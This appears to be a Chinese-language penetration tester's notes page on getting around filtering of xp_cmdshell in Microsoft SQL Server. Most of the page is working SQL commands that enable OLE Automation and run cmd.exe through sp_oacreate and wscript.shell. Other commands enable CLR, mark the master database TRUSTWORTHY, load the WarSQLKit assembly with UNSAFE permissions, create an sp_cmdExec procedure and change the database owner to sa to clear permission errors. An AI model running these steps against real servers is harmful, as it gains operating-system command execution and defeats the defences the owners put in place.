image-20220427173105320.png

在执行xp_cmdshell时只可以简单的whoami ,dir这类,例如net user的命令都被拦截产生下面这个报错,由此开始绕过思考并记录。

<https://xz.aliyun.com/t/7534#toc-7>

COM组件利用

select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
返回大于0即可利用
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
启用配置
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe /c whoami>c:\\\\www.txt'
该命令执行无回显

CLR

MSSQL CLR功能默认关闭,利用以下语句启用。

sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO

为了导入了不安全的程序集,我们还需要执行以下语句将数据库标记为安全。

ALTER DATABASE master SET TRUSTWORTHY ON;

万能的warsqlkit

这里需要clr的前置步骤。

CREATE ASSEMBLY [WarSQLKit]
AUTHORIZATION [dbo]
    FROM hex
        WITH PERMISSION_SET = UNSAFE;
GO
加载dll文件的hex
CREATE PROCEDURE sp_cmdExec
@Command [nvarchar](4000)
WITH EXECUTE AS CALLER
AS
EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec
GO
创建存储过程
如果报错如下:
针对程序集 'MyMSSQL' 的 CREATE ASSEMBLY 失败,因为程序集 'MyMSSQL' 未获授权,不满足 PERMISSION_SET = UNSAFE。满足以下两个条件之一时将给程序集授权: 数据库所有者(DBO)拥有 UNSAFE ASSEMBLY 权限,且数据库具有 TRUSTWORTHY 数据库属性;或者,程序集已使用其对应登录名具有 UNSAFE ASSEMBLY 权限的证书或非对称密钥加以签名。

ALTER DATABASE master SET TRUSTWORTHY ON;//设置为 TRUSTWORTHY
如果报错:
主数据库中记录的数据库所有者SID与数据库'‘中记录的数据库所有者SID不同。您应该通过使用ALTER AUTHORIZATION语句重置数据库'‘的所有者来纠正这种情况。

EXEC SP_ChangeDBOwner 'sa'  //在对应数据库下将数据库所有者变更为报错提示的一致